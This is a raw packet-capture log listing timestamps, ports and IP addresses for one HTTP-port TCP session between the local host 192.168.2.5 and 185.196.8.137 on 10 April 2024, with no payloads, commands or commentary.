Apr 10, 2024 10:24:12.147222042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147222042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147222042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147275925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147293091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147418976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147418976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147429943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147461891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147475958 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147578001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147578001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147578001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147578001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147592068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147607088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147648096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147661924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147667885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147667885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147731066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147813082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147813082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147840977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147856951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147870064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147875071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147875071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.147886038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147900105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147953033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.147994041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.148042917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.148130894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.148169994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148169994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148236990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148236990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148236990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148258924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.148276091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.148284912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148284912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148284912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148284912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148375034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148375034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148375034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148490906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148490906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148490906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148490906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148490906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148490906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148593903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148593903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148593903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148593903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148593903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148593903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148694038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148694038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148694038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148694992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148694992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148694992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148794889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148794889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148794889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148794889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148794889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148794889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148890972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148890972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148890972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148890972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148890972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148890972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148947001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148947001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.148947001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149028063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149028063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149028063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149092913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149092913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149092913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149153948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149153948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149153948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149153948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149153948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149153948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149252892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149252892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149252892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149252892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149252892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149252892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149333954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149333954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149333954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149394989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149394989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149394989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149394989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149394989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149394989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149503946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149503946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149503946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149503946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149503946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149503946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149552107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149552107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149552107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149631977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149631977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149631977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149730921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.149768114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.149790049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149790049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149790049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149844885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149844885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149846077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149846077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149846077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149936914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149936914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149936914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149936914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149936914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.149936914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150031090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150031090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150125980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150125980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150125980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150125980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150156021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150226116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150239944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150244951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150244951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150244951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150266886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150285959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150285959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150285959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150326014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150367022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150405884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150465965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150480032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150492907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150552034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150693893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150695086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150779963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150780916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150947094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.150953054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150953054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150953054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.150974989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151040077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151040077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151040077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151078939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151135921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151150942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151175022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151175022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151175022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151304960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151305914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151305914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151305914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151305914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151334047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151350975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151422977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151422977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151490927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151506901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151540041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151576042 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151700020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151700020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151865005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151865005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151865005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151865005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151865005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151865005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151916981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.151984930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151984930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151984930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.151984930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152055979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.152081966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152081966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152247906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152420998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152420998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152420998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152501106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.152529955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152529955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152529955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152529955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152631998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152631998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152631998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152704954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152704954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152863026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152863979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152863979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152863979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152973890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.152973890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153095007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153095007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153152943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153152943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153152943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153240919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153240919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153240919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153307915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153307915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153600931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153600931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153687954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153687954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153744936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153744936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153744936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153882027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153882027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.153882027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154093027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154093027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154093027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154093027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154201031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154201031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154201031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154356956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154356956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154416084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154416084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154416084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154480934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154480934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154480934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154618979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154618979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154618979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154732943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154732943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154732943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154808044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154808044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154898882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.154898882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155436993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155456066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155456066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155512094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155512094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155512094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155620098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155620098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155620098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155685902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155685902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155805111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155805111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155805111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155870914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155870914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.155870914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156220913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156529903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156529903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156529903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156529903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156625986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156625986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156625986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156820059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156820059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156820059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156820059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156929970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156929970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156929970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.156929970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157107115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157107115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157107115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157107115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157107115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157196999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157196999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157196999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157258034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157258034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157424927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157674074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157674074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157674074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157674074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157674074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157809973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157823086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157869101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157869101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157869101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157951117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.157951117 CEST	49718	80	192.168.2.5	185.196.8.137
